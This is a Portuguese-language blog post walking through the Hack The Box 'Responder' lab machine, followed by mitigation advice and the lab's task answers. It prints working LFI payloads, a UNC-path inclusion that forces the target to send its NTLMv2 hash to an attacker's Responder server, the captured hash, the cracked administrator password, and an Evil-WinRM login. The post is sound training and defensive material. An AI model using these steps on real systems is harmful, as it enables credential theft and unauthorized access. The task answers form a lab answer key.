DEV Community

Adriel Henrique
Adriel Henrique

Posted on

Resolvendo o HTB Responder: LFI, captura de hash NTLMv2 e acesso via WinRM

Introdução

Há alguns anos me interessei por hacking mas acabei saindo um pouco do tema para estudar a área de dados. Para retornar à área decidi fazer algumas trilhas da PortSwigger e do HTB com máquinas e CTFs mais simples.

Dado esse contexto, decidi que conforme eu for refazendo a trilha introdutória do HTB irei fazer alguns tutoriais sobre algumas máquinas. Escolhi fazer primeiro a responder, pois ela apresenta um grau de complexidade bem mais alta que as anteriores. Isso ocorre principalmente devido a ela concatenar várias falhas de segurança para sua exploração.

Fase de reconhecimento

Na fase de reconhecimento, para esse contexto, podemos começar usando um scanner de rede como o nmap para verificar os serviços que estão sendo executados no alvo. Explicando de forma simples: seria como se ao chegarmos em um bairro, tentando conhecer a comunidade, decidimos bater de porta em porta para perguntar qual software "mora" naquela casa, caso ninguém responda é sinal de que ou fomos barrados por um firewall ou realmente não tem ninguém operando na porta de rede.

Executando o nmap temos os seguintes resultados:

┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sC -sV 10.129.230.163
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-24 02:29 +0000
Stats: 0:00:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for unika.htb (10.129.230.163)
Host is up (0.21s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-title: Unika
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Enter fullscreen mode Exit fullscreen mode

Aqui temos muitas informações - duas portas abertas, ambas rodando serviços em http, na porta 80 temos o apache que é um software de servidor web, o que comprova que tem uma pagina web e na porta 5985 temos o Microsoft HTTPAPI(WinRM).

Existe um procedimento comum em máquinas HTB onde você para acessar uma aba específica é necessário acessar o arquivo (substitua o ip)

# Edite o arquivo
sudo nano /etc/hosts

# Adicione no final:
10.129.X.X   unika.htb
Enter fullscreen mode Exit fullscreen mode

Página inicial do Unika com seletor de idioma.

Verificando que na guia do site existe a possibilidade de trocar de idioma. Ao trocar o idioma, perceba que o link é alterado para: http://unika.htb/index.php?page=french.html

Isso é um indício forte que talvez exista nessa aplicação uma brecha de Local File Inclusion(LFI). Pois se o parâmetro page= aceitar entradas arbitrárias poderemos introduzir aquivos maliciosamente.

A forma mais simples de verificar a existência dessa falha é procurando pelo diretório hosts:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts
Enter fullscreen mode Exit fullscreen mode

verificado que podemos acessar informações do host, é possível confirmar a existência da falha

Conteúdo do arquivo hosts do Windows exposto via LFI.

podemos também testar se é possível "traduzir" um arquivo de código para base 64 usando a função filter.

http://unika.htb/index.php?page=php://filter/convert.base64-encode/resource=index.php
Enter fullscreen mode Exit fullscreen mode

dados criptografados

desencriptando temos:

<?php 
$domain = "unika.htb";
if($_SERVER['SERVER_NAME'] != $domain) {
  echo '<meta http-equiv="refresh" content="0;url=http://unika.htb/">';
  die();
}
if(!isset($_GET['page'])) {
  include("./english.html");
}
else {
  include($_GET['page']);
}

Enter fullscreen mode Exit fullscreen mode

o coração da falha está no "include($_GET['page']);" - ao não encontrar a página, o servidor adiciona a página solicitada pelo usuário sem qualquer verificação.

Isso comprova que existe uma falha muito severa de segurança: a aplicação permite que você adicione arquivos de forma arbitrária dentro do servidor, falha que se tornará vetor de ataque.

Fase de Exploração

Sabendo do problema podemos criar um servidor SMB falso através do Responder

──(kali㉿kali)-[~/Downloads]
└─$ sudo responder -I tun0
Enter fullscreen mode Exit fullscreen mode

podemos executar o seguinte código:

http://unika.htb/index.php?page=//[seu IP]/payload
Enter fullscreen mode Exit fullscreen mode

como o servidor permite você procurar por um arquivo qualquer, podemos "forçar" ele a procurar algo no nosso servidor falso.(arquivo payload).

Ao incluir um caminho UNC (//IP/payload), o PHP no Windows tenta acessar um compartilhamento SMB no IP indicado. O Responder finge ser esse servidor SMB e captura o hash NTLMv2 enviado pela máquina vítima durante a tentativa de autenticação.

Esse procedimento exige o uso de credenciais, que a máquina atacada envia.

[SMB] NTLMv2-SSP Client   : 10.129.95.234
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::RESPONDER:9c44013f6f207b9c:4083607D154D17D099D9EA1F41C982D0:01010000000000000062A081254ADD013EE714100FDEE1890000000002000800490049004100390001001E00570049004E002D0031003800470054004A004F0054004A00460049004D0004003400570049004E002D0031003800470054004A004F0054004A00460049004D002E0049004900410039002E004C004F00430041004C000300140049004900410039002E004C004F00430041004C000500140049004900410039002E004C004F00430041004C00070008000062A081254ADD0106000400020000000800300030000000000000000100000000200000EFBCC3F63B0CA9D9B9F68403CE65BBCEC2D01F1F7D34637489B2D055E09A67190A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00360037000000000000000000 
Enter fullscreen mode Exit fullscreen mode

Esse é o Hash da senha do administrador. O Hash pode ser definido matematicamente como a seguinte função:

H(T)T H(T) \rightarrow T'

O Hash,diferente da criptografia clássica, é uma função de mão única; não é criptografia reversível. A quebra é feita por tentativa e erro com wordlist

Pense que o Hash é uma maquina, onde você coloca texto e ele comprime para um tamanho fixo e "bagunça" o texto para tornar ele ilegível para nós. Para "desvendar" esse mistério sobre o que esta escrito ali é necessário saber o texto original, pois o algoritmo de hash só produz uma saída para uma entrada. Dois textos distintos não produzem o mesmo hash, dois texto idênticos, sim.

para essa tarefa podemos usar tanto o Hashcat como o John the Ripper

┌──(kali㉿kali)-[~/Downloads]
└─$ john --format=netntlmv2  --wordlist=rockyou.txt aa    
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
badminton        (Administrator)     
1g 0:00:00:00 DONE (2026-09-24 02:28) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Enter fullscreen mode Exit fullscreen mode

Temos agora o usuário Administrator com a senha badminton

Vamos agora usar essa senha para entrar pela porta da frente da máquina usando o Evil-WinRM pra explorar o serviço do WinRM(protocolo de gerenciamento remoto do windows)

┌──(kali㉿kali)-[~/Downloads]
└─$ evil-winrm -i 10.129.230.163 -u Administrator -p badminton

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Enter fullscreen mode Exit fullscreen mode

procurando pela flag , temos o que precisamos:


*Evil-WinRM* PS C:\Users\Administrator\Documents> Get-ChildItem -Path C:\ -Filter flag.txt -Recurse -ErrorAction SilentlyContinue


    Directory: C:\Users\mike\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/10/2022   4:50 AM             32 flag.txt



*Evil-WinRM* PS C:\Users\Administrator\Documents> 
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat C:\Users\mike\Desktop\flag.txt
ea81b7afddd03efaa0945333ed147fac
Enter fullscreen mode Exit fullscreen mode

Conclusão

Apesar de ser uma máquina antiga, ela é bem mais interessante que as máquinas que apareceram anteriormente. Ela concatena vários conceitos de forma mais complexa, podendo criar um degrau difícil de escalar em um primeiro momento. Porém é possível extrair muito dela - Servidores SMB e sua falsificação, a necessidade de higienizar as entradas, uso de Whitelists para evitar ataques desse tipo e desenvolver senhas que não possam ser facilmente advinhadas e etc.

Mitigação

A exploração dessa máquina dependeu de três fatores encadeados: uma falha de LFI no PHP, a capacidade do servidor web iniciar conexões SMB de saída e o uso de uma senha fraca. Por isso, a mitigação também precisa atacar essas três frentes.

1. Na aplicação

O erro central está em include($_GET['page']). A regra de ouro é: nunca passe input do usuário diretamente para include, require, fopen ou qualquer função que resolva caminhos de arquivo.
A correção mais simples e eficaz é usar uma whitelist.

2. protocolos legados

Protocolos legados são superfície de ataque. SMB, LLMNR e NBT-NS continuam sendo explorados porque continuam habilitados por padrão. Desligar o que não é usado é uma das defesas mais subestimadas.

3. Senhas fracas

Senhas fracas derrubam qualquer cadeia de defesa. De nada adianta hardening se a senha do administrador é uma palavra de dicionário.

por fim a resolução da maquina:
Task 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
unika.htb

Task 2
Which scripting language is being used on the server to generate webpages?
php

Task 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
page

Task 4
_Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", _"mimikatz.exe"

../../../../../../../../windows/system32/drivers/etc/hosts

Task 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "./../../../../../../../windows/system32/drivers/etc/hosts", "mimikatz.exe"

//10.10.14.6/somefile

Task 6
What does NTLM stand for?
New Technology Lan Manager

Task 7
Which flag do we use in the Responder utility to specify the network interface?
-I

Task 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
John The Ripper

Task 9
What is the password for the administrator user?
badminton

Task 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
5985

Task 11
On which user's desktop is the flag located?
mike

Top comments (0)